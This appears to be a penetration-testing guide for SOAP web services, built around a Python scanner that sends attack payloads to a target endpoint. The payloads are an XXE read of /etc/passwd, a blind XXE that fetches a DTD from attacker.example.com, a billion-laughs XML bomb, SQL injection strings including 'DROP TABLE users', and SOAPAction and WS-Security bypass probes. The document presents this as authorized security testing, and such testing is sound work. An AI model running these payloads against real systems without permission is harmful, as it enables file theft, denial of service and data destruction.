xalgord Performing SOAP Web Service Security Testing
Overview
SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.
When to Use
- When conducting security assessments that involve performing soap web service security testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Most Often Missed & How to Confirm
- XXE in every parameter and headers: test classic file-read, blind OOB (external DTD calling back to your host), and parameter entities - not just the first operation.
- SOAPAction spoofing: send operation A's body with operation B's SOAPAction; mismatched routing can bypass per-action authorization.
- WS-Security bypass: strip the entire Security header, send an empty UsernameToken, and replay expired/forged timestamps - many stacks fail open.
- XPath/SQLi in element values: inject into XML text nodes, not query strings.
- XML bomb / billion laughs: entity-expansion DoS is often unguarded.
How to confirm a hit (avoid false negatives): XXE is confirmed by file contents (root://bin/) in the response or an OOB callback to your host; injection by DB/XPath error strings or boolean/timing differences; a real WS-Security bypass returns a successful SOAP body (no Fault) without valid credentials. Don't conclude negative until you've tried: blind/OOB XXE when output is suppressed, every operation (not just one), SOAPAction mismatch, and timestamp/credential stripping.
Prerequisites
- Target SOAP web service endpoint URL
- WSDL file or URL access for the service
- SoapUI or ReadyAPI for structured testing
- Burp Suite with SOAP extensions for interception
- Python 3.8+ with zeep and lxml libraries
- Authorization to perform security testing
Testing Methodology
Phase 1: WSDL Reconnaissance
#!/usr/bin/env python3
"""SOAP Web Service Security Testing Tool
Analyzes WSDL definitions and tests SOAP endpoints for
common vulnerabilities including XXE, injection, and
WS-Security misconfigurations.
"""
import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List, Dict, Optional
from dataclasses import dataclass
@dataclass
class SOAPOperation:
name: str
action: str
input_message: str
output_message: str
parameters: List[Dict]
class SOAPSecurityTester:
NAMESPACES = {
'wsdl': 'http://schemas.xmlsoap.org/wsdl/',
'soap': 'http://schemas.xmlsoap.org/wsdl/soap/',
'soap12': 'http://schemas.xmlsoap.org/wsdl/soap12/',
'xsd': 'http://www.w3.org/2001/XMLSchema',
'wsse': 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd',
}
def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):
self.wsdl_url = wsdl_url
self.endpoint_url = endpoint_url
self.operations: List[SOAPOperation] = []
self.findings: List[dict] = []
def parse_wsdl(self) -> List[SOAPOperation]:
"""Parse WSDL to extract available operations and parameters."""
response = requests.get(self.wsdl_url, timeout=30)
root = etree.fromstring(response.content)
# Extract endpoint URL if not provided
if not self.endpoint_url:
address = root.find('.//soap:address', self.NAMESPACES)
if address is not None:
self.endpoint_url = address.get('location')
# Extract operations
for binding_op in root.findall('.//wsdl:binding/wsdl:operation', self.NAMESPACES):
name = binding_op.get('name')
soap_op = binding_op.find('soap:operation', self.NAMESPACES)
action = soap_op.get('soapAction', '') if soap_op is not None else ''
operation = SOAPOperation(
name=name,
action=action,
input_message="",
output_message="",
parameters=[]
)
self.operations.append(operation)
print(f"[+] Found {len(self.operations)} SOAP operations")
for op in self.operations:
print(f" - {op.name} (SOAPAction: {op.action})")
return self.operations
def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:
"""Test for XML External Entity (XXE) injection."""
xxe_payloads = [
# Classic XXE - File read
{
"name": "Classic XXE (file read)",
"payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&xxe;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
},
# Blind XXE - Out-of-band
{
"name": "Blind XXE (OOB)",
"payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
%xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>test</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
},
# XML Bomb (Billion Laughs)
{
"name": "XML Bomb (Billion Laughs)",
"payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&lol4;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
}
]
results = []
for xxe in xxe_payloads:
try:
response = requests.post(
self.endpoint_url,
data=xxe["payload"],
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": operation.action,
},
timeout=10
)
vulnerable = False
indicators = []
if "root:" in response.text or "/bin/" in response.text:
vulnerable = True
indicators.append("File contents in response")
if response.status_code == 200 and "Fault" not in response.text:
indicators.append("No XML parsing error returned")
if response.elapsed.total_seconds() > 5:
indicators.append("Slow response (possible XML bomb)")
vulnerable = True
result = {
"test": xxe["name"],
"vulnerable": vulnerable,
"status_code": response.status_code,
"response_time": response.elapsed.total_seconds(),
"indicators": indicators
}
results.append(result)
if vulnerable:
self.findings.append({
"severity": "CRITICAL",
"type": "XXE",
"operation": operation.name,
"details": xxe["name"]
})
except requests.exceptions.Timeout:
results.append({
"test": xxe["name"],
"vulnerable": True,
"indicators": ["Request timed out - possible DoS via XML bomb"]
})
return {"operation": operation.name, "xxe_results": results}
def test_sql_injection(self, operation: SOAPOperation) -> dict:
"""Test SOAP parameters for SQL injection."""
sqli_payloads = [
"' OR '1'='1",
"1; DROP TABLE users--",
"1' UNION SELECT NULL,NULL,NULL--",
"' OR 1=1; WAITFOR DELAY '0:0:5'--",
"admin'/*",
]
results = []
for payload in sqli_payloads:
soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name}>
<param>{payload}</param>
</{operation.name}>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(
self.endpoint_url,
data=soap_body,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": operation.action,
},
timeout=15
)
sql_errors = [
"SQL syntax", "ORA-", "mysql_", "SQLSTATE",
"Microsoft OLE DB", "Unclosed quotation mark",
"syntax error", "PostgreSQL"
]
error_found = any(err in response.text for err in sql_errors)
if error_found:
self.findings.append({
"severity": "CRITICAL",
"type": "SQL Injection",
"operation": operation.name,
"details": f"SQL error triggered with: {payload[:30]}..."
})
results.append({
"payload": payload,
"status_code": response.status_code,
"sql_error_detected": error_found,
"response_time": response.elapsed.total_seconds()
})
except requests.exceptions.RequestException:
continue
return {"operation": operation.name, "sqli_results": results}
def test_soapaction_spoofing(self) -> dict:
"""Test for SOAPAction header spoofing vulnerability."""
results = []
for i, operation in enumerate(self.operations):
for j, other_op in enumerate(self.operations):
if i == j:
continue
# Send request with mismatched SOAPAction
soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name}>
<param>test</param>
</{operation.name}>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(
self.endpoint_url,
data=soap_body,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": other_op.action, # Wrong action
},
timeout=10
)
if response.status_code == 200 and "Fault" not in response.text:
self.findings.append({
"severity": "HIGH",
"type": "SOAPAction Spoofing",
"operation": operation.name,
"details": f"Accepted with SOAPAction of {other_op.name}"
})
results.append({
"body_operation": operation.name,
"spoofed_action": other_op.action,
"accepted": True
})
except requests.exceptions.RequestException:
continue
return {"spoofing_results": results}
def test_ws_security_bypass(self) -> dict:
"""Test WS-Security token handling."""
test_cases = [
{
"name": "Missing WS-Security header",
"header": ""
},
{
"name": "Empty security token",
"header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>
</wsse:UsernameToken>
</wsse:Security>'''
},
{
"name": "Expired timestamp",
"header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsu:Timestamp>
<wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
<wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>'''
}
]
results = []
for test in test_cases:
if self.operations:
operation = self.operations[0]
soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
{test["header"]}
</soapenv:Header>
<soapenv:Body>
<{operation.name}><param>test</param></{operation.name}>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(
self.endpoint_url,
data=soap_body,
headers={"Content-Type": "text/xml; charset=utf-8"},
timeout=10
)
accepted = response.status_code == 200 and "Fault" not in response.text
if accepted:
self.findings.append({
"severity": "CRITICAL",
"type": "WS-Security Bypass",
"operation": operation.name,
"details": test["name"]
})
results.append({
"test": test["name"],
"accepted": accepted,
"status_code": response.status_code
})
except requests.exceptions.RequestException:
continue
return {"ws_security_results": results}
def generate_report(self) -> dict:
"""Generate comprehensive security assessment report."""
return {
"target": self.endpoint_url,
"wsdl": self.wsdl_url,
"operations_tested": len(self.operations),
"total_findings": len(self.findings),
"critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
"high": len([f for f in self.findings if f["severity"] == "HIGH"]),
"findings": self.findings
}
def main():
wsdl_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl"
tester = SOAPSecurityTester(wsdl_url)
print(f"[*] Parsing WSDL: {wsdl_url}")
operations = tester.parse_wsdl()
for op in operations:
print(f"\n[*] Testing operation: {op.name}")
tester.test_xxe_vulnerability(op)
tester.test_sql_injection(op)
tester.test_soapaction_spoofing()
tester.test_ws_security_bypass()
report = tester.generate_report()
print(f"\n{'='*60}")
print(f"SOAP Security Assessment Report")
print(f"{'='*60}")
print(f"Target: {report['target']}")
print(f"Operations Tested: {report['operations_tested']}")
print(f"Findings: {report['total_findings']} "
f"(Critical: {report['critical']}, High: {report['high']})")
for finding in report['findings']:
print(f"\n [{finding['severity']}] {finding['type']}")
print(f" Operation: {finding['operation']}")
print(f" Details: {finding['details']}")
if __name__ == "__main__":
main()
References
- SecureLayer7 OWASP SOAP Pentesting: https://blog.securelayer7.net/owasp-top-10-pentesting-mitigating-soap-service-risks/
- BrightSec SOAP Vulnerabilities: https://brightsec.com/blog/top-7-soap-api-vulnerabilities/
- Levo.ai SOAP API Security Testing Guide: https://www.levo.ai/resources/blogs/soap-api-security-testing
- SoapUI Web Service Hacking: https://www.soapui.org/docs/soap-and-wsdl/tips-and-tricks/web-service-hacking/
- PortSwigger XXE Tutorial: https://portswigger.net/web-security/xxe